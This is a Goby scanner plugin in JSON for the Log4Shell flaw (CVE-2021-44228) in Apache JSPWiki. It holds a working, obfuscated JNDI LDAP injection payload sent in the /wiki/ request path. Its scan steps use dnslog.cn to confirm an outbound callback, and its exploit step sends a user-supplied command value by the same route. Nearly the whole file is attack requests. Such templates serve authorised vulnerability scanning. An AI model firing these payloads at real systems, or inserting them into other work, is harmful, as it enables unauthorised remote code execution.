Goby/json/Apache_JSPWiki_Log4shell_CV...

153 lines
5.6 KiB
JSON
Raw Normal View History

2022-11-25 02:08:58 -08:00
{
"Name": "Apache JSPWiki Log4shell CVE-2021-44228 (2)",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "body=\"<div>JSPWiki\" || title=\"JSPWiki\"",
"Description": "Apache JSPWiki is a leading open source WikiWiki engine, feature-rich and built around standard JEE components (Java, servlets, JSP).",
"Product": "Apache JSPWiki",
"Homepage": "https://jspwiki.apache.org/",
"Author": "",
"Impact": "Apache JSPWiki /wiki&nbsp;has a log4j vulnerability.",
"Recommendation": "",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
"https://mp.weixin.qq.com/s?__biz=MzA5OTA0MTU4Mg==&mid=2247485581&idx=1&sn=033cafb1442d44e6cfc85796e42f206d"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "$%7Bjndi:ldap:$%7B::-/%7D/xxxdnslog.cn/tea%7D"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getdomain.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"dnstest|lastbody||"
]
},
{
"Request": {
"method": "POST",
"uri": "/wiki/$%7Bjndi:ldap:$%7B::-/%7D/{{{dnstest}}}/tea%7D",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getrecords.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{{{dnstest}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/wiki/{{{cmd}}}",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}